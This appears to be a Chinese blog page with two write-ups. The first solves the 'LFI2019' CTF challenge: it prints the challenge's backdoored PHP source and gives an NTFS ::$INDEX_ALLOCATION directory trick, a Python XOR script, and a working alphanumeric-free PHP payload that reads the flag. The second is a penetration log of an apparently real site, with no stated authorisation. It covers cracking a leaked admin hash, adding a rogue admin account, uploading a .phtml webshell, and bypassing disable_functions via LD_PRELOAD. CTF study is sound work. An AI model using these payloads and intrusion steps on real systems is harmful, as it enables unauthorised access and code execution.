            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    if(is_dir($dir."/".$object))
                        rrmdir($dir."/".$object, $depth + 1);
                    else
                        unlink($dir."/".$object); 
                }
            }
        }
        if($depth != 0) rmdir($dir); 
    }
    function countdir($dir){
        if (is_dir($dir)){
            $objects = scandir($dir);
            foreach ($objects as $object){ 
                if ($object != "." && $object != ".."){ 
                    $count += 1;
                    if(is_dir($dir."/".$object))
                        $count += countdir($dir."/".$object);
                }
            }
        }
        return $count;
    }
    if(countdir("./files/") >= 100) @rrmdir("./files/");

    // Here, kawaii path-san for you! //
    function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {
        protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }
        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }

    // Triggering this is nearly impossible //
    class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }

    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    // XSS protection and hints ^-^ //
    header('X-Hint: /index.php?show-me-the-hint');
    header('X-Frame-Options: DENY');
    header('X-XSS-Protection: 1; mode=block;');
    header('X-Content-Type-Options: nosniff');
    header('Content-Type: text/html; charset=utf-8');
    header('Cache-Control: no-store, no-cache, must-revalidate, max-age=0');

    //header("Content-Security-Policy: default-src 'self'; script-src 'nonce-${seed}' 'unsafe-eval';" .
    //"font-src 'nonce-${seed}' fonts.gstatic.com; style-src 'nonce-${seed}' fonts.googleapis.com;");

    // Hello, JSON! //
    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }
?>
<!doctype html>
<html>
<head>
    <meta charset=utf-8>
    <link rel="stylesheet" href="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/css/bootstrap.min.css" nonce="<?php echo $seed; ?>">
    <link rel="styleshhet" href="//fonts.googleapis.com/css?family=Muli:300,400,700" nonce="<?php echo $seed; ?>">
    <link rel="stylesheet" href="./static/legit.css" nonce="<?php echo $seed; ?>">
    <title>LFI2019</title>
</head>
<body>
    <div class="modal fade" id="put-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">put2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="upload-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="upload-filename">
                    </div>
                    <div class="form-group">
                        <label for="upload-content" class="col-form-label">Content:</label>
                        <textarea class="form-control disabled" id="upload-content" rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="upload-submit">put();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="get-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <h5 class="modal-title">get2019</h5>
                    <button type="button" class="close" data-dismiss="modal" aria-label="Close">
                        <span aria-hidden="true">&times;</span>
                    </button>
                </div>
                <div class="modal-body">
                    <div class="form-group">
                        <label for="include-filename" class="col-form-label">Filename:</label>
                        <input type="text" class="form-control" id="include-filename">
                    </div>
                    <div class="form-group">
                        <textarea class="form-control disabled" id="include-content" disabled rows=10></textarea>
                    </div>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-secondary" data-dismiss="modal">Close</button>
                    <button type="button" class="btn btn-primary" id="include-submit">include();</button>
                </div>
            </div>
        </div>
    </div>
    <div class="modal fade" id="info-modal">
        <div class="modal-dialog modal-lg">
            <div class="modal-content">
                <div class="modal-header">
                    <button type="button" class="close" data-dismiss="modal" aria-hidden="true">×</button>
                </div>
                <div class="modal-body">
                    <p>
                        Hi there! We introduce LFI2019 with another technique that never came out on CTFs. 
                        We want to end tedious LFI challenges starting from this year.
                        Traps are everywhere, so be warned. Good Luck!
                    </p>
                    <p>
                        .. and of course, the main objective for this challenge is absolutely straightforward: Leak the sourcecode of flag file to solve this challenge. flag is located at <code>flag.php</code>.
                    </p>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn btn-default" data-dismiss="modal">Close</button>
                </div>
            </div>
        </div>
    </div>
    <ul class="text hidden">
        <li>L</li>
        <li class="ghost">e</li>
        <li class="ghost">g</li>
        <li class="ghost">i</li>
        <li class="ghost">t</li>
        <li class="spaced">F</li>
        <li class="ghost">i</li>
        <li class="ghost">l</li>
        <li class="ghost">e</li>
        <li class="spaced">I</li>
        <li class="ghost">n</li>
        <li class="ghost">c</li>
        <li class="ghost">l</li>
        <li class="ghost">u</li>
        <li class="ghost">s</li>
        <li class="ghost">i</li>
        <li class="ghost">o</li>
        <li class="ghost">n</li>
        <li class="spaced">2019</li>
        <br>
        <br>
        <div class="hide" id="kawaii">
            <center>
                <button class="btn col-4 btn-success half" id="get">include</button>
                <button class="btn col-4 btn-warning" id="put">upload</button>
                <button class="btn col-3 btn-info" id="info">info</button>
                <p class="lightgrey">
                    Reference ID: <b class="ref"><?php echo $seed; ?></b>
                </p>
                Made with &hearts; by stypr.
            </center>
        </div>
    </ul>
    <script src="https://code.jquery.com/jquery-3.3.1.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="//stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.min.js" nonce="<?php echo $seed; ?>"></script>
    <script src="./static/legit.js" nonce="<?php echo $seed; ?>" defer></script>
</body>
</html>
<!-- https://www.youtube.com/watch?v=OEpeRmPkRIU --> 

思路

当时看到这又丑又长的代码,大致浏览一遍,得到的信息是,flag在flag.php文件中,然后有很多很奇怪的功能,比如session,还有两个类,214-231是核心代码,主要说了有两种访问方式,一种传get,会实例化get类,另一种传put,会实例化put类
然后因为final,要不惜一切手段找攻击面(除了py),于是我另一边开了dirsearch去扫,下面是扫描结果(有伏笔
图片.png
为了做题,我沉下气仔细的看了一遍代码,发现


class System {
        function __destruct(){
            global $seed;
            // ain't Argon2, ain't pbkdf2. what could go wrong?
            $flag = hash('sha256', $seed);
            if($_GET[$flag]){
                @system($_GET[$flag]);
            }else{
                @unserialize($_SESSION[$flag]);
            }
        }
    }
protected function nanahira(){
            // senpai notice me //
            function exploit($data){
                $exploit = new System();
            }
            $_GET['trigger'] && !@@@@@@@@@@@@@exploit($$$$$$_GET['leak']['leak']);
        }

这些还有session的逻辑好像都没什么用处,还有最下面的YouTube注释,我还去看了一下==
而且前几行按道理应该输出phpinfo,并且我把代码放到本地搭建了一下,发现输出了phpinfo,但是远程就不行(伏笔
暂且没管,由于代码有很多闲杂功能,我挑一下核心代码

 <?php

   @require('flag.php');
   function path_sanitizer($dir, $harden=false){
        $dir = (string)$dir;
        $dir_len = strlen($dir);
        // Deny LFI/RFI/XSS //
        $filter = ['.', './', '~', '.\\', '#', '<', '>'];
        foreach($filter as $f){
            if(stripos($dir, $f) !== false){
                return false;
            }
        }
        // Deny SSRF and all possible weird bypasses //
        $stream = stream_get_wrappers();
        $stream = array_merge($stream, stream_get_transports());
        $stream = array_merge($stream, stream_get_filters());
        foreach($stream as $f){
            $f_len = strlen($f);
            if(substr($dir, 0, $f_len) === $f){
                return false;
            }
        }
        // Deny length //
        if($dir_len >= 128){
            return false;
        }
        // Easy level hardening //
        if($harden){
            $harden_filter = ["/", "\\"];
            foreach($harden_filter as $f){
                $dir = str_replace($f, "", $dir);
            }
        }

        // Sanitize feature is available starting from the medium level //
        return $dir;
    }

    // The new kakkoii code-san is re-implemented. //
    function code_sanitizer($code){
        // Computer-chan, please don't speak english. Speak something else! //
        $code = preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
        return $code;
    }

    // Errors are intended and straightforward. Please do not ask questions. //
    class Get {

        private $filename;
        function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
        function get(){
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // wtf???? //
            if(!@file_exists($this->filename)){
                // index files are *completely* disabled. //
                if(stripos($this->filename, "index") !== false){
                    return ["msg" => "you cannot include index files!", "type" => "error"];
                }

                // hardened sanitizer spawned. thus we sense ambiguity //
                $read_file = "./files/" . $this->filename;
                $read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

                if($read_file === $read_file_with_hardened_filter ||
                    @file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
                    return ["msg" => "request blocked", "type" => "error"];
                }
                // .. and finally, include *un*exploitable file is included. //
                @include("./files/" . $this->filename);
                return ["type" => "success"];
            }else{
                return ["msg" => "invalid filename (wtf)", "type" => "error"];
            }
        }
    }
    class Put {

        private $filename;
        private $content;
        private $dir = "./files/";
        function __construct($filename, $data){
            global $seed;
            if((string)$filename === (string)@path_sanitizer($data['filename'])){
                $this->filename = (string)$filename;
            }else{
                $this->filename = false;
            }
            $this->content = (string)@code_sanitizer($data['content']);
        }
        function put(){
            // just another typical file insertion //
            if($this->filename === false){
                return ["msg" => "blocked by path sanitizer", "type" => "error"];
            }
            // check if file exists //
            if(file_exists($this->dir . $this->filename)){
                return ["msg" => "file exists", "type" => "error"];
            }
            file_put_contents($this->dir . $this->filename, $this->content);
            // just check if file is written. hopefully. //
            if(@file_get_contents($this->dir . $this->filename) == ""){
                return ["msg" => "file not written.", "type" => "error"];
            }
            return ["type" => "success"];
        }
    }
    // Don't call me a savage... I gave everything you need //
    if($_SERVER['QUERY_STRING'] === "show-me-the-hint"){
        show_source(__FILE__);
        exit;
    }

    $parsed_url = explode("&", $_SERVER['QUERY_STRING']);
    if(count($parsed_url) >= 2){
        header("Content-Type:text/json");
        switch($parsed_url[0]){
            case "get":
                $get = new Get($parsed_url[1]);
                $data = $get->get();
                break;
            case "put":
                $put = new Put($parsed_url[1], $_POST);
                $data = $put->put();
                break;
            default:
                $data = ["msg" => "Invalid data."];
                break;
        }
        die(json_encode($data));
    }

上面差不多就是核心代码了,具体审计就不讲了,大概说讲一下具体逻辑

put

put类可以进行写文件操作,文件名可控但是要经过path_sanitizer过滤,然后拼接写在files目录下,path_sanitizer函数会过滤. (重要) 所以写php,分布式配置等含.的文件都别想了,只能写普通文件,然后写的内容也可控,但是要过这个正则

preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code)

差不多就是put类的大概意思

get

get类可以进行文件读取,并且在最后面有个include操作,所以猜侧具体思路是写普通文件,然后用include包含执行,刚好满足题目意思,
首先传入的文件名也可控,但是也要经过path_sanitizer函数过滤,并且也会在前面自动拼接./files/,所以肯定是先写到files文件夹,然后包含之。然而最麻烦的过滤在上面核心代码的66-72行,如下

<?php
function __construct($filename){
            $this->filename = path_sanitizer($filename);
        }
$read_file = "./files/" . $this->filename;
$read_file_with_hardened_filter = "./files/" . path_sanitizer($this->filename, true);

if($read_file === $read_file_with_hardened_filter ||
@file_get_contents($read_file) === @file_get_contents($read_file_with_hardened_filter)){
return ["msg" => "request blocked", "type" => "error"];
}

path_sanitizer函数根据第二个参数有两种过滤模式,第二个参数为假或者默认,就主要是过滤.,并且是匹配到直接报错(简称过滤A) ,但如果第二个参数为真则在过滤A的基础上还会把正反斜杠替换为空(过滤B)。
而上面几行代码的逻辑是传入的文件名字符串,经过两种过滤方式输出的文件名和文件内容都必须不一样,否者就直接返回了,这段代码通过后就会include $this->filename,所以我们只要绕过这个if判断就可以包含了

绕过过滤(失败尝试1

一开始我想用反斜杠来绕过,因为linux下可以用反斜杠做文件名
图片.png
先put一个含的文件名比如evoA233,当我们get传入文件名 为evoA233,
过滤A会返回evoA233,过滤B会evoA233,两者文件名不一样,文件内容也不一样(其中一个文件不存在内容为空)。就可以成功包含了。
但是我打的时候一直不成功,无奈本地搭建了一下,然后发现本地是可以打通的
由于最终包含的是过滤A返回的,也就是最终包含的是evoA233
图片.png
图片.png
Nope是文件内容被替换的结果,include直接打印了出来
但是远程服务器一直不成功,陷入困境

突然发现不得了的事情

思考了一下,还记得之前的dirsearch的扫描吗,扫出来有个INDEX.PHP和index.PHP,并且内容都是一样的
图片.png
正常来说,linux文件系统是分大小写的,访问这两个文件肯定是404的,但是!Windows系统是不分文件名大小写的,所以大胆猜测,这是一个windows环境
而对于windows,文件名是不能含有的,会自动被替换成/被当作路径,也就是我们不能通过上面的反斜杠文件名来绕过
这时旁边贾师傅说,“如果能创目录就好了,创个xxx目录,然后往目录写个aaa文件,内容是payload,访问xxx/aaa就可以成功包含了”,

Windows特性 & 解决方法

但是可惜的是,file_put_contents不能创目录
但是!windows有磁盘流方法创目录啊
图片.png
https://www.cnblogs.com/hookjoy/p/6579646.html
如果环境是windows,当我们file_put_contents的文件名是syc233::$INDEX_ALLOCATION的时候,当前文件夹下就会生成一个syc233的文件夹,然后用put类往这个文件下写一个evoa文件,就可以绕过成功包含了。

图片.png
图片.png
图片.png远程服务器上终于成功了,接下来就是撰写文件内容payload了

无字母数字rce payload

写文件操作,文件内容要通过下面的正则

<?php
preg_replace("/[^<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;]/u", "*Nope*", (string)$code);
?>

对于无字母数字payload已经考了很多次,可以发现^这个万金油没有被过滤,于是可以用^来绕过,
由于php7和php5的无字母数字rce payload不一致,但是此时我不能判断服务器的php版本,而且很奇怪的是phpinfo写在了源码却没有输出,这时候我本来是想去咨询出题人的,但是我发现
源码第12行
$seed = md5(rand(PHP_INT_MIN,PHP_INT_MAX));
官网的资料显示

图片.png
只有php7以后才可以用PHP_INT_MIN这个变量,所以大胆猜测环境是php7

然后就可以通过 ^ 符号构造字符串"phpinfo"然后()执行即可,但是我们可用的只有<>!@#$%^&*_?+.-\'"=()[];这些符号。我写了一个脚本来获取这些字符相互异或能得到的其他字符

dicc = "<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

图片.png
这些符号相互异或得到的字符有限,如上报错,字典里没有o,所以我们要多创造一些字符
然而,$ _ !这三个符号没有被过滤,我们可以用这三个符号创造数字<br />$ == null
!$_ == true<br />!$
+ !$_==2<br />然而,字符和纯数字异或得不到字符串,我们必须把数字 变成 数字字符串<br />[https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md](https://github.com/Samik081/ctf-writeups/blob/master/ISITDTU%20CTF%202019%20Quals/web/easyphp.md)<br />trim函数可以把数字变成字符串<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189017751-9641db20-f79b-461d-9684-564a1c119d62.png#align=left&display=inline&height=51&name=%E5%9B%BE%E7%89%87.png&originHeight=102&originWidth=1186&size=65806&status=done&width=593)<br />很巧的是,trim这4个字母,上面的字符恰好可以生成<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189102294-894f040a-d390-4b0a-b654-e0895bce53b9.png#align=left&display=inline&height=38&name=%E5%9B%BE%E7%89%87.png&originHeight=76&originWidth=1274&size=28159&status=done&width=637)<br />![图片.png](https://cdn.nlark.com/yuque/0/2019/png/298354/1572189116411-6a76d0cc-020b-489e-be05-c4feb452c9c4.png#align=left&display=inline&height=52&name=%E5%9B%BE%E7%89%87.png&originHeight=104&originWidth=1708&size=73225&status=done&width=854)使用$__=("\"^"(").("\"^".").(")"^"@").("-"^"@");$__($_);就可以生成字符1234567890了。
图片.png
再把1234567890加入脚本的字典里

dicc = "0123456789<>!@#$%\^&*\_?+\.\-\\\'\"\=\(\)\[\]\;"
dic = []
for i in dicc:
    dic.append(ord(i))

baodian = {}
woyaode = "phpinfo"
for i in dic:
    for j in dic:
        baodian.update({chr(i^j):'("'+chr(i)+'"'+"^"+'"'+chr(j)+'")'})

for i in woyaode:
    print(baodian[i],end=".")

我们可以生成o字符了,然后payload就用php短标签,最终生成phpinfo() exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_)).("]"^"-").("\\"^$__(!$_+!$_+!$_+!$_+!$_)).("\\"^$__(!$_+!$_)).(";"^"]").("\\"^$__(!$_+!$_+!$_)))();?>

但是并没有解析成功打印。于是我大胆的猜测!
服务端把phpinfo加入disable_functions里了
其实说得过去,要不然为什么首页不打印phpinfo
那既然开启了disable_function,rce函数也不想了,肯定也被ban了,而且php7.1以上assert也变成语法结构了,该怎么轻松rce拿flag,
虽然我们字典扩充了0123456789,但是baodian里还是无法生成.字符_字符$字符,主要生成的是英文字母,所以最终我选择了readfile(next(getallheaders()))动态调用
最终构造好的exp

<?=$__=("\\"^"(").("\\"^".").(")"^"@").("-"^"@");(("\\"^".").(";"^"^").("\\"^"=").(";"^"_").(";"^"]").("\\"^$__(!@$_+!@$_+!@$_+!@$_+!@$_)).("\\"^$__(!@$_-!@$_)).(";"^"^"))((("\\"^$__(!@$_+!@$_)).(";"^"^").("\\"^"$").("\\"^"("))((((";"^"\\").(";"^"^").("\\"^"(").("\\"^"=").("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_-!@$_)).("\\"^$__(!@$_+!@$_+!@$_+!@$_)).(";"^"^").("\\"^"=").(";"^"_").(";"^"^").("\\"^".").("]"^"."))())))?>

由于windows的问题,next(getallheaders())取的是Connection 头
图片.png
图片.png
图片.png

终于拿到flag了,还是一血,有点开心,可能这就是CTF的魅力吧

后话

感谢赛宁和r3kapig团队,很完美的一场比赛,质量很高的一场比赛,学到了很多,也认清了自己的菜(QAQ)

- Read More -
渗透

信息收集

image.png
发现
.project文件 sql目录遍历 uploads目录遍历 phpmyadmin泄露 superadmin 目录(phpmywind)泄露 include目录遍历

获取到管理员密码

首先看sql目录
image.png
下载后发现是sql的导出文件,有php版本 phpstudy 查看一些信息发现
image.png
somd5解出来密码是rock1980

登陆phpMyadmin

尝试admin rock1980登陆phpwind phpmyadmin未果,用root rock1980登陆phpmyadmin,成功登陆
image.png
secure_file_priv设置为NULL,写日志文件又不知道web绝对路径写不了shell,陷入沉思

登陆phpMyWind

沉思的时候翻数据库
找了一下发现另一个admin表,怀疑是phpmywind的管理员表,md5解不出,自己加了一个用户进去test/testtesttestaaa,登陆成功
image.png
image.png

一个任意文件读取

发现是低版本phpmywind 5.3 可以后台任意文件读取 结合之前的include路径遍历,可以读取一些敏感信息
https://www.0dayhack.com/post-764.html
image.png
image.png

GetShell

看了一下功能,发现后台可以改允许上传文件后缀,修改php上传php发现貌似被waf拦了,改为phtml上传成功
image.png
image.png
image.png
连上马

image.png
然后发现有disable_function无法执行系统命令,但是没有禁用putenv和mail
image.png
于是用mail + sendmail绕过
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
phpinfo发现是centos 64位
于是上传64 位的so文件,配合php,成功执行系统命令
下面执行了ifconfig

image.png
centos系统内核比较老,可能可以提权,但怕搞坏机器就没继续了,内网也很大,可能可以漫游,不过还是要先提权,就止步于此了

- Read More -
This is just a placeholder img.